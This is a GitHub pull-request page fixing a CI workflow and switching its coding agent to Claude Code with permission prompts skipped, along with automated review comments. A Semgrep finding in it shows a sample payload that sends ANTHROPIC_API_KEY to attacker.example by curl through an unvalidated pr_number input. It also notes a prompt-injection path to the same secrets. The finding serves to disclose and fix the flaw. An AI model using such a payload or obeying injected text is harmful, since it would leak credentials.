fix(ci): unbreak Update CLI Coverage workflow, switch cursor-agent → Claude Code - #142
Conversation
The workflow has failed on every push since 2026-04-21:
- The merge of origin/main into the long-lived cli-coverage-update branch
conflicts in go.mod/go.sum. The '|| true' swallowed the conflict, leaving
conflict markers in go.mod, so grep returned two SDK versions and the
multi-line value broke the $GITHUB_OUTPUT write
('Invalid format v0.79.0'), failing the run before the agent started.
Fix: merge with -X theirs.
- Harden OLD_SDK_VERSION extraction: prefer 'go list -m', fall back to
grep that skips conflict-marker lines and takes the first match.
Also replace cursor-agent with the Claude Code CLI, matching the pattern
used in kernel/kernel-browser (ANTHROPIC_API_KEY org secret,
CLAUDE_CODE_PREFERRED_MODEL org var, --dangerously-skip-permissions).
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes using high effort and found 2 potential issues.
Bugbot Autofix prepared fixes for both issues found in the latest run.
- ✅ Fixed: Merge overwrites SDK baseline
- The workflow now captures the CLI SDK version before any merge and reuses that stored baseline when computing the SDK diff.
- ✅ Fixed: Merge theirs drops branch CLI work
- The repo-wide
-X theirsmerge strategy was removed and conflict handling now only auto-resolvesgo.mod/go.sumwhile aborting merges with other conflicts to preserve branch changes.
- The repo-wide
Or push these changes by commenting:
@cursor push 4c417d811b
Preview (4c417d811b)
diff --git a/.github/workflows/update-cli-coverage.yml b/.github/workflows/update-cli-coverage.yml
--- a/.github/workflows/update-cli-coverage.yml
+++ b/.github/workflows/update-cli-coverage.yml
@@ -99,15 +99,42 @@
run: |
gh repo clone kernel/cli /tmp/kernel-cli
cd /tmp/kernel-cli
+ HAS_COVERAGE_BRANCH=false
if git fetch origin cli-coverage-update 2>/dev/null; then
+ HAS_COVERAGE_BRANCH=true
echo "Branch cli-coverage-update exists, checking it out..."
git checkout cli-coverage-update
- git merge -X theirs origin/main -m "Merge main into cli-coverage-update" --no-edit || true
else
echo "Branch cli-coverage-update does not exist, will create from main"
fi
+ # Capture the SDK baseline before any merge so diffing compares from
+ # the branch's current version.
+ BASELINE_SDK_VERSION=$(go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
+ if [ -z "$BASELINE_SDK_VERSION" ]; then
+ BASELINE_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' go.mod | head -1 | awk '{print $2}')
+ fi
+ echo "$BASELINE_SDK_VERSION" > /tmp/kernel-cli-old-sdk-version.txt
+ echo "CLI baseline SDK version before merge: $BASELINE_SDK_VERSION"
+
+ if [ "$HAS_COVERAGE_BRANCH" = true ]; then
+ if ! git merge origin/main -m "Merge main into cli-coverage-update" --no-edit; then
+ CONFLICT_FILES=$(git diff --name-only --diff-filter=U)
+ NON_GO_CONFLICT_FILES=$(echo "$CONFLICT_FILES" | grep -Ev '^(go\.mod|go\.sum)$' || true)
+
+ if [ -n "$NON_GO_CONFLICT_FILES" ]; then
+ echo "Merge conflicts outside go.mod/go.sum; aborting merge to preserve branch work"
+ git merge --abort
+ else
+ echo "Resolving go.mod/go.sum conflicts using origin/main"
+ git checkout --theirs go.mod go.sum 2>/dev/null || true
+ git add go.mod go.sum
+ git commit --no-edit
+ fi
+ fi
+ fi
+
- name: Get SDK version info
id: sdk-version
run: |
@@ -137,12 +164,20 @@
- name: Compute SDK diff since CLI's current version
id: sdk-diff
run: |
- # Extract the SDK version currently used by the CLI
+ # Use the SDK version captured before merging main into the branch.
+ OLD_SDK_VERSION=""
+ if [ -f /tmp/kernel-cli-old-sdk-version.txt ]; then
+ OLD_SDK_VERSION=$(tr -d '\n' < /tmp/kernel-cli-old-sdk-version.txt)
+ fi
+
+ # Fall back to the current tree if no baseline was captured.
# Prefer go list (parses go.mod properly); fall back to grep, taking the
# first non-conflict-marker match so a merge conflict can't yield a
# multi-line value that breaks $GITHUB_OUTPUT.
- OLD_SDK_VERSION=$(cd /tmp/kernel-cli && go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
if [ -z "$OLD_SDK_VERSION" ]; then
+ OLD_SDK_VERSION=$(cd /tmp/kernel-cli && go list -m github.com/kernel/kernel-go-sdk 2>/dev/null | awk '{print $2}')
+ fi
+ if [ -z "$OLD_SDK_VERSION" ]; then
OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | grep -v '^[<>=]' | head -1 | awk '{print $2}')
fi
echo "CLI currently uses SDK version: $OLD_SDK_VERSION"You can send follow-ups to the cloud agent here.
Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.
| id: sdk-diff | ||
| run: | | ||
| # Extract the SDK version currently used by the CLI | ||
| OLD_SDK_VERSION=$(grep 'kernel/kernel-go-sdk' /tmp/kernel-cli/go.mod | awk '{print $2}') |
There was a problem hiding this comment.
Merge overwrites SDK baseline
High Severity
The git merge -X theirs origin/main step updates go.mod to origin/main's SDK version before the OLD_SDK_VERSION is read. This can cause OLD_SDK_VERSION to match the new SDK version, resulting in an empty SDK diff. Consequently, the agent misses actual SDK changes when updating CLI coverage, especially on stale branches.
Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.
| echo "Branch cli-coverage-update exists, checking it out..." | ||
| git checkout cli-coverage-update | ||
| git merge origin/main -m "Merge main into cli-coverage-update" --no-edit || true | ||
| git merge -X theirs origin/main -m "Merge main into cli-coverage-update" --no-edit || true |
There was a problem hiding this comment.
Merge theirs drops branch CLI work
Medium Severity
git merge -X theirs origin/main applies the “theirs” strategy to every conflicted file, not only go.mod/go.sum. Any merge conflict in CLI sources on cli-coverage-update is resolved to origin/main, which can discard coverage work still only on that branch, while the agent prompt still instructs preserving existing branch work and avoiding force push.
Additional Locations (1)
Reviewed by Cursor Bugbot for commit b1f93c9. Configure here.
| GH_TOKEN: ${{ steps.app-token.outputs.token }} | ||
| KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }} | ||
| BRANCH_PREFIX: cli-coverage-update | ||
| run: | |
There was a problem hiding this comment.
Command injection via ${{ }} interpolation into a run: script (yaml.github-actions.security.run-shell-injection.run-shell-injection)
Why this is a true positive
This step interpolates a free-form, caller-supplied value directly into the double-quoted shell argument of claude -p "...". The relevant sink is line 184:
- Trigger: ${{ github.event_name }} ${{ inputs.pr_number && format('(PR #{0})', inputs.pr_number) || '' }}inputs.pr_number is a workflow_dispatch input of type: string with no validation, and ${{ }} expansion happens before bash parses the script. A dispatch value like:
1") ; curl -s https://attacker.example/?k=$ANTHROPIC_API_KEY ; echo "
closes the quoted prompt and runs arbitrary commands in the runner. The blast radius is what this step has in env: — ANTHROPIC_API_KEY, KERNEL_API_KEY, and steps.app-token.outputs.token, which is an org-scoped admin GitHub App token (owner: kernel). That turns repo write/actions: write access into org-admin credential exfiltration.
The same input is injected even more directly in the earlier Get PR info for manual dispatch step (lines 37 and 39), which is outside this PR's diff but has the identical flaw and should be fixed in the same pass.
Recommended fix — pass untrusted values through env: and reference them as quoted shell variables, so they are never expanded into the script text:
- name: Update CLI coverage
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
GH_TOKEN: ${{ steps.app-token.outputs.token }}
KERNEL_API_KEY: ${{ secrets.KERNEL_API_KEY }}
BRANCH_PREFIX: cli-coverage-update
PR_NUMBER: ${{ inputs.pr_number }}
EVENT_NAME: ${{ github.event_name }}
SDK_MODULE: ${{ steps.sdk-version.outputs.module }}
SDK_VERSION: ${{ steps.sdk-version.outputs.version }}
run: |
TRIGGER="$EVENT_NAME${PR_NUMBER:+ (PR #$PR_NUMBER)}"
claude -p "...
- Trigger: $TRIGGER
..."Validating the input at the top of the job is a cheap belt-and-braces addition:
case "$PR_NUMBER" in
''|*[!0-9]*) echo "pr_number must be numeric" >&2; exit 1 ;;
esacAlso worth noting while you're in here: this PR adds --dangerously-skip-permissions, and the agent reads /tmp/sdk-diff.patch and /tmp/kernel-api content into its context while holding those same secrets. That is a prompt-injection path to the same credentials, distinct from the shell-injection above and not fixed by quoting.
If you consider this an accepted risk (e.g. workflow_dispatch is restricted to trusted maintainers), suppress it explicitly rather than leaving it flagged:
- Inline, on the flagged line:
(or a bare
# nosemgrep: yaml.github-actions.security.run-shell-injection.run-shell-injection run: |
# nosemgrepto silence every rule on that line) - Or exclude the file entirely by adding to
.semgrepignore:.github/workflows/update-cli-coverage.yml



Problem
The Update CLI Coverage workflow has failed on every push to main since 2026-04-21 (~40 consecutive failures). Root cause, reproduced locally:
origin/maininto the long-livedcli-coverage-updatebranch in kernel/cli. That branch is pinned to SDK v0.50.0 while main is at v0.79.0 → merge conflict in go.mod/go.sum.|| trueswallows the conflict, leaving conflict markers in go.mod.grep 'kernel/kernel-go-sdk' go.modthen returns two versions, and the multi-line value breaks the$GITHUB_OUTPUTwrite:Fix
-X theirsso go.mod/go.sum conflicts auto-resolve to main's version.go list -m github.com/kernel/kernel-go-sdkwith a grep fallback that skips conflict-marker lines and takes the first match — a multi-line value can never reach$GITHUB_OUTPUTagain.https://claude.ai/install.shANTHROPIC_API_KEYorg secret +CLAUDE_CODE_PREFERRED_MODELorg var (both already exist with ALL-repo visibility)claude -p ... --dangerously-skip-permissions --output-format text --verboseFollow-ups (not in this PR)
workflow_dispatchrun after merge to verify end-to-end.Note
Low Risk
CI-only workflow changes with no application runtime impact; the agent step uses existing org secrets and follows patterns used elsewhere in the org.
Overview
Repairs the Update CLI Coverage workflow so it can run again after repeated failures from unresolved
go.modmerge conflicts on the long-livedcli-coverage-updatebranch.When syncing that branch with
origin/main, merges now use-X theirssogo.mod/go.sumconflicts favor main’s versions instead of leaving conflict markers. SDK version detection prefersgo list -m github.com/kernel/kernel-go-sdk, with a grep fallback that skips conflict-marker lines and takes a single match so$GITHUB_OUTPUTcannot get a multi-line value.The automation agent is switched from Cursor to Claude Code: install via
claude.ai/install.sh,ANTHROPIC_API_KEYandCLAUDE_CODE_PREFERRED_MODEL, andclaude -pwith--dangerously-skip-permissionsinstead ofcursor-agent.Reviewed by Cursor Bugbot for commit b1f93c9. Bugbot is set up for automated code reviews on this repo. Configure here.